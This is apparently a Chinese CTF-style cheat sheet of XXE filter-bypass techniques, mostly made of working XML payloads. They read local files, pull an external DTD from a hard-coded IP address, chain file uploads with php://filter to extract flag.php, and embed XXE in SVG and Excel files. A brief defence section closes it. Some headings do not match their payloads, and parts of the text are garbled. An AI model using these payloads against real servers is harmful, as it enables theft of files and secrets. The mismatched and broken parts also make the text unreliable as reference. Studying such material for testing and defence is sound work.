0x01 大小写绕过

这个很简单,利用正则匹配的不严格。

0x02 html实体编码绕过

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE test [
  3. <!DECTYPE % a "<!ENTITY b SYSTEM 'file:///flag'>" >
  4. %a;
  5. ]>
  6. <test>%b;</test>

0x03 data://协议绕过

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE test [
  3. <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
  4. %a;
  5. %b;
  6. ]>
  7. <test>&hhh;</test>

0x04 file://协议加文件上传

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE test [
  3. <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
  4. %a;
  5. ]>
  6. <!--上传文件-->
  7. <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

0x05 php://filte协议加文件上传

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE test [
  3. <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
  4. %a;
  5. ]>
  6. <test>
  7. &hhh;
  8. </test>
  9. <!--上传文件-->
  10. <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
  1. <?xml version="1.0" ?>
  2. <!DOCTYPE test [
  3. <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
  4. %a;
  5. ]>
  6. <test>
  7. &hhh;
  8. </test>
  9. <!--上传文件-->
  10. PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

利用场景:

  1. SVG
  2. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE note [
  4. <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
  5. ]>
  6. <svg height="100" width="1000">
  7. <text x="10" y="20">&file;</text>
  8. </svg>
  9. tips:从当前文件夹读取文件可以使用/proc/self/cwd
  1. 利用EXCEL进行XXE攻击
  2. 首先用excel创建一个空白的xlsx,然后解压
  3. mkdir XXE && cd XXE
  4. unzip ../XXE.xlsx
  5. 将[Content_Types].xml改成恶意xml,再压缩回去
  6. zip -r ../poc.xlsx *

0x06:XXE的防御

  1. 方案一、使用开发语言提供的禁用外部实体的方法
  2. PHPlibxml_disable_entity_loader(true);
  3. 其他语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
  4. 方案二、过滤用户提交的XML数据
  5. 关键词:,,SYSTEMPUBLIC